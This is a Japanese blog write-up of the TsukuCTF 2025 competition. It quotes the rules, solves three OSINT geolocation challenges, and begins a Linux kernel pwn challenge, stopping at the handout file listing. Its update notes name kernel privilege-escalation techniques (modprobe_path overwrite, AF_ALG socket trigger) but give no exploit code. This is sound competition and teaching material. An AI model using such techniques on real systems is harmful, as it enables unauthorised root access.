プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

TsukuCTF 2025 write-up (easy_kernelメイン)

TsukuCTF 2025へ、チーム完全に理解したで参加しました。そのwrite-up記事です。

チーム参加の経緯: 私が過去にTsukuCTF 2023TsukuCTF 2021へ参加したときに「OSINTジャンルは1人でやるには厳しい!」と感じました。どこかのチームに混ぜさせていただこうと思っていると、以前のASUSN CTF 2時に参加したDiscordサーバーでTsukuCTF参加者を募集していました。渡りに船ということで、この機会に参加させていただきました。そこで結成されたチームが完全に理解したです!

2025/05/08 04時頃追記: easy_kernel問題中の記述について、作問者のr1ru(@ri5255)様から言及いただいた箇所や、追加で試した箇所を加筆修正しました:

  • gdbデバッグ時にadd-symbol-fileコマンドでシンボル情報を追加する方法や、ptypeコマンドで構造体内容を確認する方法を追記しました。
  • nmコマンドやreadelfコマンドを使って、vmlinuxファイルからシンボルアドレスを取る具体例を追記しました。
  • vuln.koで、複数関数が同一シンボルに紐づいていたことを追記しました。
  • 今回の問題でmodprobe_path変更後の従来手法が動作しなかった理由と、AF_ALG手法を試しましたが今回の問題設定ではソケットを作成できなかったことを追記しました。

2025/05/13 00時頃追記: modprobe_path実行方法にはAF_ALGソケット作成のみで良い旨の助言をいただき、easy_kernel問題で当該手法で権限昇格できたため関連する内容を追記修正しました。

2025/06/06 01時頃追記: 本記事をWriteup賞へ選んでいただいた話を追記しました。ありがとうございます!

コンテスト概要

2025/05/03(土) 12:00 +09:00 - 05/04(日) 12:00 +09:00の24時間開催でした。他ルールはRulesページから引用します(日本語と英語の2言語で記述されています、ここでは日本語のみを引用します):

TsukuCTF 2025 について
- TsukuCTF 2025 はオンラインにて開催されます (競技 URL: https://tsukuctf.org )。
- 開催期間は 2025/05/03 12:00(JST) ~ 2025/05/04 11:59(JST) の 24h00m です。
- ジャンルは OSINT, Web, Pwn, Crypto などを予定しています。
- 運営からの連絡は CTFd の Notifications 機能および以下のサービスにて通知を行います。
  - 公式 Discord (URL: https://discord.gg/yyEk4SYsVM )
  - 公式 X(Twitter) (URL: https://x.com/tsukuctf )
- 運営への質問等は公式 Discord の ❓-ask-for-admin チャンネルでチケットを作成してください。Discord が利用できない場合は、Twitter のダイレクトメッセージをご利用ください。ただし、問題の解法に関する質問などにはお答えいたしません。
- 1 チームあたりの人数上限は 4 人です。
- チームで参加する場合はアカウントを共有するのではなく、Team 機能をご利用ください。
- フラグは何度でも入力することができます。ただし一部の問題には回数制限が設けられており、その場合は問題文にその旨が記載されています。
- 誤ったフラグを入力することによる減点はありません。
- 問題の点数は解かれた人数に応じて減少します(一部を除く)。
- 問題サーバへ大量アクセスすることでフラグを入手できる問題はありません(一部を除く)。多くのアクセスを必要とする場合は問題文にその旨が記載されています。
- 有償のツールや環境でしか解くことができない問題はありません。
- CTF の開催期間終了後は WriteUp の公開を推奨しています。
フラグ形式
- フラグは全て TsukuCTF25{} という形式をとります。例えば答えとなる文字列が THIS_IS_FLAG の場合、フラグは TsukuCTF25{THIS_IS_FLAG} となります。
- フラグに使用可能な文字種は数字、アルファベット、記号、ひらがな、カタカナ、漢字などとします。表示不可能な文字は基本的に含まれません。具体的な文字に関しての質問がある場合は、公式 Discord の ❓-ask-for-admin チャンネルよりご連絡ください。
- 座標を特定する問題におけるフラグ形式は問題文に記載のある通り、 TsukuCTF25{緯度_経度} です。ただし、緯度および経度は十進法で小数点以下五桁目を切り捨てたものとします。例えば、日本中央標準時子午線最北端の塔の座標は緯度 35.693098 、経度 135.003078 付近なので、フラグは TsukuCTF25{35.6930_135.0030} となります。また、数メートル程度の誤差が許容されています。なお、一部の問題では違なる形式で出題されることがあります。
- フラグにおける固有名詞は各公式サイト、座標は Google マップを参考に正答を作成しています。他の場所から情報を取得する場合はご注意ください。
- 複数のフラグが答えとして設定されている場合があります。
- 過去に開催された TsukuCTF 2021 のフラグ形式は TsukuCTF{} 、TsukuCTF 2022 のフラグ形式は TsukuCTF22{}、TsukuCTF 2023 のフラグ形式は TsukuCTF23{} でしたのでお間違えの無いようご注意ください。
賞品
- 競技終了後に以下に記載するタイトルでの賞品の贈呈が予定されています。
  - CTF つよつよ学生賞
  - WriteUp 賞
- 対象は日本国内で賞品を受け取れる参加者に限ります。
- これら賞品の獲得条件は予告なしで変更される可能性があります。
学生 CTF つよつよで賞
- 日本の学校に通っている学生の中で、最終順位が 1 位から 3 位までのチームにAmazonギフトカードの形式で賞金を授与します。
  - 🥇 11760 JPY (2940 x 4)
  - 🥈 5880 JPY (2940 x 2)
  - 🥉 2940 JPY
- 競技終了後 24h 以内に連絡がない場合は、繰り上げでの賞品贈呈を行います。繰り上げが発生した場合は、前述した公式 Discord および公式 Twitter において通知を行います。また、賞品の辞退が発生した場合も同様とします。
WriteUp 賞
- 競技終了後 48h 以内にハッシュタグ #TsukuCTF をつけてツイートされた WriteUp の中で、運営の評価が高かった 4 名程度にささやかな賞品を贈呈します。ツイートされたアカウントに運営が公式 Twitter よりダイレクトメッセージでの連絡を行うため、許可設定をお願いいたします。
- 連絡後 24h 以内にお返事がいただけない場合やダイレクトメッセージが許可されていない場合、可能な限り運営より連絡を試みますが、受賞が取り消される場合があります。また、賞品の辞退が発生した場合の繰り上げはありません。
- 扱う問題数、記述媒体、著者の属性などに対する運営による評価の差異はありません。例えば正答数が 1 問である WriteUp でも受賞対象となります。
- 複数人で記述された WriteUp においては、代表者 1 名に発送致します。
- クリティカルな非想定解やユニークな解法をお待ちしています。
禁止事項
- スコアサーバなど許可されていないサーバへの攻撃およびそれに準ずる行為
- 問題サーバへの過度な負荷を与える行為
- 1 人が複数のアカウントを作成する行為
- 他ユーザへの嫌がらせ行為や競技を妨害する行為
- 本 CTF の開催期間中にフラグまたはフラグ獲得に関連する情報を公開する行為
- その他、本 CTF の運営を妨げる行為

ジャンルは OSINT, Web, Pwn, Crypto などを予定しています。とジャンルが明記されています。また、WriteUp賞の記述もあります。WriteUp歓迎の意思を表明していただけるのはありがたいです。

結果

正の得点を得ている882チーム中、3531点で5位でした!チームの皆様が強いです!

順位と得点

緑色背景: 解けた問題

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows(ホスト)

c:\>ver

Microsoft Windows [Version 10.0.19045.5796]

c:\>wsl -l -v
  NAME              STATE           VERSION
* Ubuntu-24.04      Running         2
  docker-desktop    Running         2
  kali-linux        Stopped         2
  Ubuntu-22.04      Running         2

c:\>

他ソフト

  • Google Chrome Version 135.0.7049.116 (Official Build) (64-bit)
  • IDA Version 9.1.250226 Windows x64 (64-bit address size)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.167.4-microsoft-standard-WSL2 (root@f9c826d3017f) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Tue Nov 5 00:21:55 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.2 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pwntools | grep Version:
Version: 4.12.0
$ g++ --version
g++ (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2025.04.18 build: afc2c833
$ qemu-system-x86_64 --version
QEMU emulator version 8.2.2 (Debian 1:8.2.2+ds-0ubuntu1.6)
Copyright (c) 2003-2023 Fabrice Bellard and the QEMU Project developers
$

解けた問題

[osint, easy] Casca (366 teams solves, 100 points)

海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。
Format: TsukuCTF25{YYYY/MM/DD}

配布ファイルとして画像1枚がありました:

Google Chromeでその画像を開き、右クリックメニューのSearch image with Googleを選択して調査すると、お宮緑地・ジャカランダ遊歩道(静岡県熱海市) : 食で奏でる旅の記憶が見つかりました。当該サイトを調べると、「熱海市とカスカイス市」箇所の画像内容が、与えられ画像と寒色系の模様の柱(?)などの雰囲気が良く似ており、かつ問題文にある通り記念碑のようなものが存在します。ただ上記記事中の画像では記念碑の文字を読み取れなかったので、さらに画像検索しました:

ジャカランダ遊歩道が完成 大塚実会長が熱海をナンバーワンに。 | 熱海市議会議員 橋本かずみ公式サイトがヒットしました。ヒット結果の画像から 2014年 と読めます。月日箇所が読みづらいですが、どうやら 6月6日 らしく見えます。今回は問題の回答数制限がなかったため、試しに問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{2014/06/06}

なお本記事記述中に気付いたこととして、記事先頭に平成26年6月6日と完成式典の開催日が明記されていました!ちゃんと文章を読んでいれば、より自信を持って提出できましたね……。

[osint, medium] rider (215 teams solves, 100 points)

遠くまで歩き、夕闇に消える足跡
煌めく街頭が、夜の街を飾る
傍らの道には、バイクの群れが過ぎ去り
風の音だけが残る

光と影の中、ふと立ち止まり思う
私は今、どこにいるんだろう

フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

ヒントを見る
この詩に意味はありません。

配布ファイルとして画像1枚がありました:

信号機の3色が縦向きなことと、左車線の黒い車上方にある交通標識に見覚えが無いことから、日本国外の写真らしいと検討をつけました。画像右側のお店のロゴ(?)で画像検索しました:

いくつかリンクを辿ったりすると、OTI Fried Chicken - OTI Fried Chickenのロゴ(?)と分かりました。Webサイト内容が全く読めなかったのでGoogle翻訳で翻訳してみると、インドネシア語とのことです。Google翻訳で英語翻訳してWebサイトを見ていると、ページ下の方にVisit Usなリンクがありました:

リンク先のKunjungi Kami - OTI Fried Chickenページによると、インドネシアに23店舗あるようです。Google Mapsで独自の地図としても作成されていました: OTI Fried Chicken - Google マイマップ

23店舗でしたら人力全探索ができる数です。Google Mapsのストリートビューを使って1個1個調べていきました。約20分でざっくり見終わりました。メモです:

- OTI Fried Chicken Bulusan: https://www.google.co.jp/maps/@-7.0606144,110.4469837,3a,75y,127.54h,84.69t/data=!3m10!1e1!3m8!1syOYT79ADx-8gN4_ZlAwgSQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D5.3074494638071315%26panoid%3DyOYT79ADx-8gN4_ZlAwgSQ%26yaw%3D127.54080674488605!7i16384!8i8192!9m2!1b1!2i50!5m1!1e4?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う
- OTI Fried Chicken Malangsari: https://www.google.com/maps/@-6.980387,110.4538511,3a,75y,25.62h,93.54t/data=!3m10!1e1!3m8!1sXwELE_6ilDGroDh8xbzGVw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.54442055884941%26panoid%3DXwELE_6ilDGroDh8xbzGVw%26yaw%3D25.61922177385298!7i16384!8i8192!9m2!1b1!2i39?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う
- OTI Fried Chicken Fatmawati: https://www.google.com/maps/@-7.0182776,110.4714031,3a,75y,230.63h,87.39t/data=!3m10!1e1!3m8!1sDClEmKApdcXx3zSXX3DHVg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D2.6103490300129266%26panoid%3DDClEmKApdcXx3zSXX3DHVg%26yaw%3D230.63292760612228!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う
- OTI Fried Chicken Ngaliyan: https://www.google.com/maps/@-6.9930388,110.3511963,3a,75y,214.77h,88.32t/data=!3m7!1e1!3m5!1sFr34gE9pRPC6QHkulM-xPg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.679235081811484%26panoid%3DFr34gE9pRPC6QHkulM-xPg%26yaw%3D214.76667142134355!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う
- OTI Fried Chicken Majapahit: https://www.google.com/maps/@-6.9991676,110.4435194,3a,75y,305.81h,94.3t/data=!3m7!1e1!3m5!1sBjGuyGUWpP6fPvEdc4gyYw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-4.29908183699321%26panoid%3DBjGuyGUWpP6fPvEdc4gyYw%26yaw%3D305.8114853991534!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道2車線だけど歩道が違う
- OTI Fried Chicken Anjasmoro: https://www.google.com/maps/@-6.981136,110.3913586,3a,75y,20.51h,88.25t/data=!3m10!1e1!3m8!1sen4SYDt5pbrqmPFippIPUw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.7460231906109556%26panoid%3Den4SYDt5pbrqmPFippIPUw%26yaw%3D20.51219585749664!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路類がぜんぜん違う
- OTI Fried Chicken Kelud: https://www.google.com/maps/@-7.004713,110.3973698,3a,75y,252.53h,92.74t/data=!3m10!1e1!3m8!1s1w_tMCTGg1R52ZwjCZB3kg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.736536607308196%26panoid%3D1w_tMCTGg1R52ZwjCZB3kg%26yaw%3D252.53135250330348!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路や歩道はまだにているけれど、左側の草木の生い茂りっぷりが違う。
- OTI Fried Chicken Hasanudin: https://www.google.com/maps/@-6.9700309,110.4121565,3a,75y,355.56h,88.23t/data=!3m7!1e1!3m5!1sI4lScGzxPT8n2togDANq1Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.769533997097028%26panoid%3DI4lScGzxPT8n2togDANq1Q%26yaw%3D355.5604765892301!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う
- OTI Fried Chicken Woltermonginsidi: https://www.google.com/maps/@-6.9631971,110.4786185,3a,75y,171.31h,93.73t/data=!3m7!1e1!3m5!1sjbybDewR0tW7pQG_D5RNrQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.728252239308162%26panoid%3DjbybDewR0tW7pQG_D5RNrQ%26yaw%3D171.30987780737723!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線だし道路の雰囲気等も違う
- OTI Fried Chicken Mijen: https://www.google.com/maps/@-7.0551644,110.3152123,3a,75y,220.58h,88.28t/data=!3m7!1e1!3m5!1sK6AY0_DGBt0SMIeM94uZpQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.7192213184084864%26panoid%3DK6AY0_DGBt0SMIeM94uZpQ%26yaw%3D220.58437936028574!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線だし雰囲気も自然豊かさも違う
- OTI Fried Chicken Kampung Kali: https://www.google.com/maps/@-6.9857824,110.4266619,3a,75y,93.3h,93.96t/data=!3m7!1e1!3m5!1s1IBE1r_SnZci8bxUJSb8Ig!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.95844981514135%26panoid%3D1IBE1r_SnZci8bxUJSb8Ig%26yaw%3D93.30390918795301!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う
- OTI Fried Chicken Kalipancur: https://www.google.com/maps/@-7.0118829,110.3770828,3a,75y,79.93h,92.8t/data=!3m7!1e1!3m5!1s9ri3eVgwFwusQnhXpq2xdw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.803498556778081%26panoid%3D9ri3eVgwFwusQnhXpq2xdw%26yaw%3D79.92811166890594!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 反対側の自然豊かさが違う
- OTI Fried Chicken Ungaran: https://www.google.com/maps/@-7.1340402,110.4095204,3a,75y,354.72h,86.09t/data=!3m7!1e1!3m5!1sxp1w3BLPD-qg1PN8FRUBBA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D3.9120423594651044%26panoid%3Dxp1w3BLPD-qg1PN8FRUBBA%26yaw%3D354.72011824465574!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う
- OTI Fried Chicken Salatiga: https://www.google.com/maps/@-7.3189127,110.4971072,3a,75y,119.27h,98.78t/data=!3m7!1e1!3m5!1s7eNfmndlcbAXC1Mp_gdcUg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-8.78417070530098%26panoid%3D7eNfmndlcbAXC1Mp_gdcUg%26yaw%3D119.27486702275941!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路や歩道の雰囲気は近い。ただKING等周囲のお店が違う。
- OTI Demak: https://www.google.com/maps/@-6.9020707,110.6298442,3a,75y,59.47h,91.15t/data=!3m10!1e1!3m8!1smugj1XIfgMMxaoxDR0XYFA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.1545819477716321%26panoid%3Dmugj1XIfgMMxaoxDR0XYFA%26yaw%3D59.473124037131896!7i16384!8i8192!9m2!1b1!2i38?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 中央分離帯があるので違う。
- OTI Fried Chicken Kudus: https://www.google.com/maps/@-6.8078235,110.840095,3a,75y,289.92h,97.42t/data=!3m7!1e1!3m5!1ssii1zIw7TxdnfOm_zj9t8A!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-7.420463032684168%26panoid%3Dsii1zIw7TxdnfOm_zj9t8A%26yaw%3D289.91820622340316!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線。歩道も違う。
- OTI Fried Chicken Jepara: https://www.google.com/maps/@-6.5886363,110.6649869,3a,75y,220.32h,97.56t/data=!3m7!1e1!3m5!1sKkpQcAPxPRzRINb-2q2dgA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-7.563623992721261%26panoid%3DKkpQcAPxPRzRINb-2q2dgA%26yaw%3D220.3249918972611!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道が狭い。違う。
- OTI mranggen: https://www.google.com/maps/@-7.0261794,110.5175695,3a,75y,272.63h,93.25t/data=!3m7!1e1!3m5!1sHQKVPkZK2SQqdWVFNOTCbA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.249723508224008%26panoid%3DHQKVPkZK2SQqdWVFNOTCbA%26yaw%3D272.6277594546352!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線。中央分離帯あり。違う。
- OTI Fried Chicken Kaliwungu: https://www.google.com/maps/@-6.9624144,110.256578,3a,75y,296.03h,92.82t/data=!3m7!1e1!3m5!1s9SjfSJqct6v8ehjyyTGooA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.824801501924483%26panoid%3D9SjfSJqct6v8ehjyyTGooA%26yaw%3D296.03318156176385!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う
- OTI Fried Chicken Heritage Kranggan: https://www.google.com/maps/@-6.9756168,110.4234953,3a,75y,73.08h,95.55t/data=!3m7!1e1!3m5!1sl0GFjtqQA0m8NqhU1yNS3Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-5.550334608022524%26panoid%3Dl0GFjtqQA0m8NqhU1yNS3Q%26yaw%3D73.0801912406021!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う。
- OTI Fried Chicken Banyumanik: https://www.google.com/maps/@-7.0660432,110.4177996,3a,75y,109.82h,91.79t/data=!3m7!1e1!3m5!1s52twZFab-PGfi-usfrFxow!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.7931941656275825%26panoid%3D52twZFab-PGfi-usfrFxow%26yaw%3D109.81556070777353!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う。
- OTI Fried Chicken Rendeng Kudus: https://www.google.com/maps/@-6.8021743,110.8564864,3a,75y,26.76h,98.55t/data=!3m10!1e1!3m8!1sCAgDthNFaA2jmMEtkD6vcw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-8.550988712363008%26panoid%3DCAgDthNFaA2jmMEtkD6vcw%26yaw%3D26.75760664749291!7i16384!8i8192!9m2!1b1!2i32?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D ストリートビューで店舗が見つからないものの、道路も歩道も雰囲気が違う。
- OTI Fried Chicken Xpress - Ketileng: https://www.google.com/maps/@-7.0311857,110.4676625,3a,75y,102.96h,92.49t/data=!3m7!1e1!3m5!1si4gxg6bhVfAa396ULqSssw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.493961615817838%26panoid%3Di4gxg6bhVfAa396ULqSssw%26yaw%3D102.95862135486789!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D ストリートビューで店舗が見つからないものの、道路も歩道も雰囲気が違う。

OTI Fried Chicken Salatiga店舗が、与えられた画像の次の点と一致しており、正解に近いように思いました:

  • 車道が片道2車線であること。
  • 歩道が整備されており、点字ブロックのような黄色いブロックが埋設されていること。
  • 歩道にある街灯の形状が一致すること(ストリートビューでは少し振り返ると見えます)。
  • 画像左側の建物右上に、横長の白文字赤背景のロゴがあること。

一方で与えられた画像では、OTIロゴの奥に、青背景白文字のKINGのロゴ(?)が存在します。ストリートビューで探してみると、クリック2回分移動した先の交差点KINGのロゴを見つけました。というわけで、OTI Fried Chicken Salatigaで正しそうです。

ストリートビューで探したURLの一部である@-7.3189127,110.4971072を使って、問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{-7.3188_110.4970}

[osint, medium] power (193 teams solves, 100 points)

力を感じてきた。

フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

配布ファイルとして画像1枚がありました:

右の方に漢字表記があるので、おそらく日本か中国の画像のようです。気になったので中国語の点字 - Wikipediaページを見てみると、中国の点字は日本のものとは全然違っていました。そのため日本語として点字を読んでいきました。点字を読んでみよう | 日本点字委員会(日点委)ページ下部の表や、Unicode点字変換を頼りました。

画像上側の地図部分から固有名詞を拾えれば嬉しいので試しました:

東西南北は分かりますが、肝心の固有名詞が分かりませんでした!(ただ本記事記述中に分かったこととして、ちどりいの右の()を見逃していたり、石灯籠の(⠐⠞)を間違えて(⠐⠳)と誤読して謎の文字列になったりしています。正しく読めていればそちらからも推測できたと思います。またいすもく箇所は正しくはじゅもくです)

というわけで次は、画像下側の点字の文章を読んでいくことにしました。右側から、文章の先頭4行を頑張って1文字1文字読むと、次のように見受けられました:

とくじ 2ねん~1うろれ~、?ぎょーじ 2せい しんぎょー
しょーにんが えどに あんぎゃ した おり、 まさかどづかが
あれはてて いた ため つかを しゅーふくし、 いたいしとーばを たてて、
かたわら にちりんじに おいて くよー したと されます。  その

歴史の話のようです。おもむろにかたわら 日輪寺でGoogle検索すると神田祭公式ブログ » 将門塚 神田神社旧跡地到着がヒットしました。次の記述があります:

徳治2年(1307)遊行寺二世真教上人が江戸に行脚した折、将門塚が荒れ果てていたため塚を修復し、板石塔婆を立てて傍らの日輪寺において供養したとされます。

まさに同じ文章です!また、どうやらは丸括弧を表しているようです。というわけで将門塚 点字でGoogle検索してみると、将門塚は点字に情報がつまっている :: デイリーポータルZ記事を見つけました。敷地内の図が可愛くて気になってしまった箇所の画像が、まさに問題で与えられた画像と一致しています!そのため場所は将門塚の場所のようです。

将門塚の住所を調べようとしていると、チームの方がデイリーポータルZ記事の下部にGoogle Mapsが埋め込まれていることを教えてくれました。記事が丁寧!というわけで将門塚 - Google マップの座標@35.687313,139.762741箇所を使って、問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{35.6873_139.7627}

日本語の点字は、基本的に母音が左上3点、子音が右下3点にあり規則的なので、だんだん読み慣れていきました。とはいえや行の配置が規則外なので大変でした。わ行は特別に思える配置なので、まだ分かりやすい印象です。

ところで、与えられた画像の左側から見えている、茶色い手のようなものは一体何なのでしょう……?

[pwn, medium] easy_kernel (12 teams solves, 497 points)

If you're new to kernel challenges, check out this guide. You can download the handouts from here. The flag is in /dev/sdb. Good luck and have fun!

nc challs.tsukuctf.org 19000

注意: 筆者は、Linux Kernel一般についても、Linux Kernel Exploitについても、知識が全然ありません。以降の記述は万全を期していますが、誤り等あればコメント欄等でぜひ教えてください!また、筆者自身が忘れないように、セットアップ手順や確認内容等を詳細に記述します。

問題文のthis guide箇所にはLinux Kernel Exploitation | PAWNYABLE!へのリンクが貼られていました。また、handoutsからダウンロードできるファイルは次のものでした:

$ find . -type f -print0 | xargs -0 file
./.config:      Linux make config build file, ASCII text
./bzImage:      Linux kernel x86 boot executable bzImage, version 6.14.2 (ユーザー名とマシン名があったので省略) #1 SMP PREEMPT_DYNAMIC Sat Apr 19 09:09:40 JST 2025, RO-rootFS, swap_dev 0X5, Normal VGA
./flag.txt:     ASCII text
./rootfs.ext3:  Linux rev 1.0 ext3 filesystem data, UUID=e8a51e7e-8b4b-4341-a399-e106db10741d, volume name "rootfs" (large files)
./run.sh:       POSIX shell script, ASCII text executable
./src/Makefile: makefile script, ASCII text
./src/vuln.c:   C source, ASCII text
./upload.py:    Python script, ASCII text executable
